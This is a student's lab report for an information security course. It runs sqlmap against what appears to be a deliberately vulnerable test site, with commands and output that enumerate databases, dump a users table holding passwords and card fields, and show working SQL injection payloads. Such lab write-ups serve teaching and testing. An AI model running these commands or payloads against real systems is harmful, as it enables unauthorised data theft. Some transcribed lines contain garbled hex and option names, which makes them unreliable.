



VIT[®]
Vellore Institute of Technology
(Deemed to be University under section 3 of UGC Act, 1956)

Information Security Management
CSE3502

Lab Assignment 5
SQLMAP

Slot : L25+L26

Name : Kulvir Singh

Register Number : 19BCE2074

SQL Map installation :

```
File Actions Edit View Help
(kali@kali)-[~/Desktop]
$ sudo apt install --only-upgrade sqlmap
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages will be upgraded:
  sqlmap
1 upgraded, 0 newly installed, 0 to remove and 932 not upgraded.
Need to get 0 B/6,413 kB of archives.
After this operation, 22.5 kB of additional disk space will be used.
(Reading database ... 271439 files and directories currently installed.)
Preparing to unpack .../sqlmap_1.5.11-1_all.deb ...
Unpacking sqlmap (1.5.11-1) over (1.5.8-1) ...
Setting up sqlmap (1.5.11-1) ...
Installing new version of config file /etc/sqlmap/sqlmap.conf ...
Processing triggers for kali-menu (2021.3.3) ...
Processing triggers for man-db (2.9.4-2) ...

(kali@kali)-[~/Desktop]
$
```

Sqlmap -h

basic command for listing all the options in sqlmap

```
(kali@kali)~[~/Desktop]
$ sqlmap -h

 {1.5.11#stable}

https://sqlmap.org

Usage: python3 sqlmap [options]

Options:
  -h, --help                Show basic help message and exit
  -hh                       Show advanced help message and exit
  --version                 Show program's version number and exit
  -v VERBOSE                Verbosity level: 0-6 (default 1)

Target:
  At least one of these options has to be provided to define the
  target(s)

  -u URL, --url=URL         Target URL (e.g. "http://www.site.com/vuln.php?id=1")
  -g GOOGLEDORK             Process Google dork results as target URLs

Request:
  These options can be used to specify how to connect to the target URL

  --data=DATA               Data string to be sent through POST (e.g. "id=1")
  --cookie=COOKIE           HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
  --random-agent            Use randomly selected HTTP User-Agent header value
  --proxy=PROXY             Use a proxy to connect to the target URL
  --tor                    Use Tor anonymity network
  --check-tor               Check to see if Tor is used properly

Injection:
  These options can be used to specify which parameters to test for,
  provide custom injection payloads and optional tampering scripts

  -p TESTPARAMETER          Testable parameter(s)
  --dbms=DBMS               Force back-end DBMS to provided value

Detection:
  These options can be used to customize the detection phase

  --level=LEVEL             Level of tests to perform (1-5, default 1)
  --risk=RISK               Risk of tests to perform (1-3, default 1)

Techniques:
  These options can be used to tweak testing of specific SQL injection
  techniques

  --technique=TECH..        SQL injection techniques to use (default "BEUSTQ")
```

```
#sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"
```

```
(kali@kali)-[~/Desktop]
$ sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:12:43 /2022-04-07/

[23:12:44] [INFO] testing connection to the target URL
[23:12:45] [INFO] checking if the target is protected by some kind of WAF/IPS
[23:12:46] [INFO] testing if the target URL content is stable
[23:12:46] [INFO] target URL content is stable
[23:12:46] [INFO] testing if GET parameter 'artist' is dynamic
[23:12:47] [INFO] GET parameter 'artist' appears to be dynamic
[23:12:47] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')
[23:12:47] [INFO] testing for SQL injection on GET parameter 'artist'

[23:13:15] [ERROR] user quit

[*] ending @ 23:13:15 /2022-04-07/

(kali@kali)-[~/Desktop]
$
```

```
#sqlmap -u http://testphp.vulnweb.com/ -dbs
```

–dbs option here will enlist all the available databases on the target machine if the target is vulnerable to SQL injection. Once you get the list of your databases, the next step is to get the list of all the tables of selected database.

```
(kali@kali)-[~/Desktop]
$ sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -dbs

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:34:19 /2022-04-07/

[23:34:20] [INFO] testing connection to the target URL
[23:34:21] [INFO] testing if the target URL content is stable
[23:34:21] [INFO] target URL content is stable
[23:34:22] [INFO] testing if GET parameter 'artist' is dynamic
[23:34:22] [INFO] GET parameter 'artist' appears to be dynamic
[23:34:22] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')
[23:34:22] [INFO] it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[23:34:22] [INFO] for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[23:34:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:34:22] [INFO] GET parameter 'artist' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string='non')
[23:34:22] [INFO] testing 'Generic inline queries'
[23:34:22] [INFO] testing 'MySQL > 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[23:34:22] [INFO] testing 'MySQL > 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[23:34:22] [INFO] testing 'MySQL > 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[23:34:22] [INFO] testing 'MySQL > 5.5 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[23:34:22] [INFO] testing 'MySQL > 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[23:34:22] [INFO] testing 'MySQL > 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[23:34:22] [INFO] testing 'MySQL > 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[23:34:22] [INFO] testing 'MySQL > 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[23:34:22] [INFO] testing 'MySQL > 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[23:34:22] [INFO] testing 'MySQL > 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[23:34:22] [INFO] testing 'MySQL > 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[23:34:22] [INFO] testing 'MySQL > 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[23:34:22] [INFO] testing 'MySQL > 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[23:34:22] [INFO] testing 'MySQL > 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[23:34:22] [INFO] testing 'MySQL > 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[23:34:22] [INFO] testing 'MySQL > 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[23:34:22] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[23:34:22] [INFO] testing 'MySQL > 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[23:34:22] [INFO] testing 'MySQL > 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[23:34:22] [INFO] testing 'MySQL > 5.5 error-based - Parameter replace (EXP)'
[23:34:22] [INFO] testing 'MySQL > 5.6 error-based - Parameter replace (GTID_SUBSET)'
[23:34:22] [INFO] testing 'MySQL > 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[23:34:22] [INFO] testing 'MySQL > 5.0 error-based - Parameter replace (FLOOR)'
[23:34:22] [INFO] testing 'MySQL > 5.1 error-based - Parameter replace (UPDATEXML)'
[23:34:22] [INFO] testing 'MySQL > 5.1 error-based - Parameter replace (EXTRACTVALUE)'
```

List of the databases found :

```
---
[02:19:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[02:19:03] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[02:19:04] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 02:19:04 /2022-04-22/

(kali@kali)-[~/Desktop]
```

Sqlmap -u <http://testphp.vulnweb.com/listproducts.php?cat=1> -D acuart --columns

```
(kali@kali)-[~/Desktop]
└─$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --columns
{1.5.11stable}
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:20:13 /2022-04-22/

[02:20:13] [INFO] resuming back-end DBMS 'mysql'
[02:20:13] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 2145=2145

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: cat=1 AND EXTRACTVALUE(6087,CONCAT(0x5c,0x7176767171,(SELECT (ELT(6087=6087,1))))),0x7170717871)

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT CONCAT(0x7176767171,0x6165586f66694d74574747756a56795a767743527a76766f6a587547495256747541416b75796e72,0x7170717871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

---
[02:20:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[02:20:14] [INFO] fetching tables for database: 'acuart'
[02:20:15] [INFO] fetching columns for table 'pictures' in database 'acuart'
[02:20:15] [INFO] fetching columns for table 'categ' in database 'acuart'
[02:20:15] [INFO] fetching columns for table 'products' in database 'acuart'
[02:20:16] [INFO] fetching columns for table 'featured' in database 'acuart'
[02:20:21] [INFO] fetching columns for table 'users' in database 'acuart'
[02:20:21] [INFO] fetching columns for table 'artists' in database 'acuart'
[02:20:22] [INFO] fetching columns for table 'guestbook' in database 'acuart'
[02:20:22] [INFO] fetching columns for table 'carts' in database 'acuart'
Databases acuart
Table: pictures
[8 columns]
```



```
kali@kali: ~/Desktop

File Actions Edit View Help

+-----+-----+
| Column | Type |
+-----+-----+
| a_id   | int  |
| cat_id | int  |
| img    | varchar(50) |
| pic_id | int  |
| plong  | text |
| price  | int  |
| pshort | mediumtext |
| title  | varchar(100) |
+-----+-----+

Database: acuart
Table: categ
[3 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| cat_id | int  |
| cdesc  | tinytext |
| cname  | varchar(50) |
+-----+-----+

Database: acuart
Table: products
[5 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| description | text |
| id          | int unsigned |
| name        | text |
| price       | int unsigned |
| rewrittename | text |
+-----+-----+

Database: acuart
Table: featured
[2 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| feature_text | text |
| pic_id       | int  |
+-----+-----+

Database: acuart
Table: users
[8 columns]
+-----+-----+
| Column | Type |
+-----+-----+
```

#sqlmap -u "url" --columns -D database-name -T table-name

Now --columns option will tell the sqlmap to get the name of all the columns and additional -T argument is used to specify the table name from which you want to enlist all the columns.

```
File Actions Edit View Help
(kali@kali)~[~/Desktop]
$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --columns -D acuart -T users

{1.5.11#stable}
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:27:07 /2022-04-22/

[02:27:07] [INFO] resuming back-end DBMS 'mysql'
[02:27:07] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 2145=2145

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: cat=1 AND EXTRACTVALUE(6087,CONCAT(0x5c,0x7176767171,(SELECT (ELT(6087=6087,1))),0x7170717871))

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT CONCAT(0x7176767171,0x6165506f6b694d7457474f756a56795a767743527a76766f6a58754f495256747541414b75796e72,0x7170717871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

---
[02:27:08] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[02:27:08] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| address | mediumtext |
| cart | varchar(100) |
| cc | varchar(100) |
| email | varchar(100) |
| name | varchar(100) |
| pass | varchar(100) |
| phone | varchar(100) |
| uname | varchar(100) |
+-----+-----+
```

Once you get the columns' name, either you can dump the whole columns' data into csv file from the database or you can dump the data from selected fields.

```
[kali@kali:]-[/Desktop]
$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dump -D acuart -T users

[1.5.11Stable]
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume
possible for any misuse or damage caused by this program

[*] starting @ 02:28:34 /2022-04-22/

[02:28:34] [INFO] resuming back-end DBMS 'mysql'
[02:28:35] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 2145=2145

  Type: error-based
  Title: MySQL >= 5.1 and error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: cat=1 AND EXTRACTVALUE(6087,CONCAT(0=Sc,0*7176767171,(SELECT (ELT(6087=6087,1))))0*7170717871))

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT CONCAT(0*7176767171,0=6165506f6b696d7457474f756a56795a767743527a76766f6a58754f495256747541414b75796e072,0*7170717871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

[02:28:35] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.1
[02:28:35] [INFO] fetching columns for table 'users' in database 'acuart'
[02:28:35] [INFO] fetching entries for table 'users' in database 'acuart'
[02:28:36] [INFO] recognized possible password hashes in column 'cat'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[02:28:39] [INFO] writing hashes to a temporary file '/tmp/sqlmap3pt0jzab1611/sqlmaphashes-hhtbqpd.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: acuart
Table: users
[1 entry]



| cc  | cart                          | name | pass | email | phone | uname | address |
|-----|-------------------------------|------|------|-------|-------|-------|---------|
| Lol | 5a1034787671d7d39d3ec73a5f5ca | Lol  | test | Lol   | Lo    | test  | Lol     |



[02:28:45] [INFO] table 'acuart.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[02:28:45] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com'
```

You can also dump the whole database by using following command

```
File Actions Edit View Help
```

```
$-# sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dmp -O acuart
```

```
(1.5.11stable) https://sqlmap.org
```

```
[!] Legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
```

```
[*] starting @ 02:29:38 /2022-04-22/
```

```
[02:29:38] [INFO] resuming back-end DBMS 'mysql'
```

```
[02:29:38] [INFO] testing connection to the target URL
```

```
sqlmap resumed the following injection point(s) from stored session:
```

```
Parameter: cat (GET)
```

```
Type: boolean-based blind
```

```
Title: AND boolean-based blind - WHERE or HAVING clause
```

```
Payload: cat=1 AND 2145=2145
```

```
Type: error-based
```

```
Title: MySQL > 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
```

```
Payload: cat=1 AND EXTRACTVALUE(6687,CONCAT(0xSc,0x71707b717f),(SELECT (LT((6687+6687,2))),0x71707b717f))
```

```
Type: UNION query
```

```
Title: Generic UNION query (NULL) - 11 columns
```

```
Payload: cat=1 UNION ALL SELECT CONCAT(0x71707b717f,0x6165686fb694d7457474756a56795876774352747676fa658754f4952567475414b75799e672,0x71707b717f),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL -
```

```
[02:29:39] [INFO] the back-end DBMS is MySQL
```

```
web server operating system: Linux Ubuntu
```

```
web application technology: PHP 5.6.40, Nginx 1.19.0
```

```
back-end DBMS: MySQL > 5.1
```

```
[02:29:39] [INFO] fetching tables for database: 'acuart'
```

```
[02:29:39] [INFO] fetching columns for table 'categ' in database 'acuart'
```

```
[02:29:39] [INFO] fetching entries for table 'categ' in database 'acuart'
```

```
Database: acuart
```

```
Table: categ
```

```
{n entries}
```

	cat_id cdesc	cname
1	Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec molestie.Vn Sed aliquam sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisisVn nulla. In hac habitasse platea dictumst. Nulla nonummy. Cras quis libero.Vn Cras venenati Posters null,Vn In hac habitasse platea dictumst. Nulla nonummy. Cras	
2	Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec molestie.Vn Sed aliquam sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisisVn nulla. In hac habitasse platea dictumst. Nulla nonummy. Cras quis libero.Vn Cras venenati Paintings null,Vn In hac habitasse platea dictumst. Nulla nonummy. Cras	
3	Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec molestie.Vn Sed aliquam sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisisVn nulla. In hac habitasse platea dictumst. Nulla nonummy. Cras quis libero.Vn Cras venenati Stickers null,Vn In hac habitasse platea dictumst. Nulla nonummy. Cras	


```
#sqlmap -u "url" -o -b --current-user --is-dba
```

To see if the current user has root access to the database management system, issue the following command.

```
(kali@kali)-[~/Desktop]
$ sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -o -b test --is-dba

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local
possible for any misuse or damage caused by this program

[*] starting @ 02:34:04 /2022-04-22/

[02:34:04] [INFO] resuming back-end DBMS 'mysql'
[02:34:05] [INFO] testing connection to the target URL
[02:34:05] [INFO] testing NULL connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 2145=2145

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: cat=1 AND EXTRACTVALUE(6087,CONCAT(0x5c,0x7176767171,(SELECT (ELT(6087=6087,1))))),0x7170717871))

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT CONCAT(0x7176767171,0x6165506f6b694d7457474f756a56795a767743527a76766f6a58754f495256747541414b75796e72,0x7170717871),NULL,NULL,NU

---
[02:34:07] [INFO] the back-end DBMS is MySQL
[02:34:07] [INFO] fetching banner
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.1
banner: '8.0.22-0ubuntu0.20.04.2'
[02:34:07] [INFO] testing if current user is DBA
[02:34:07] [INFO] fetching current user
[02:34:08] [WARNING] potential permission problems detected ('command denied')
[02:34:09] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
current user is DBA: False
[02:34:09] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 02:34:09 /2022-04-22/
```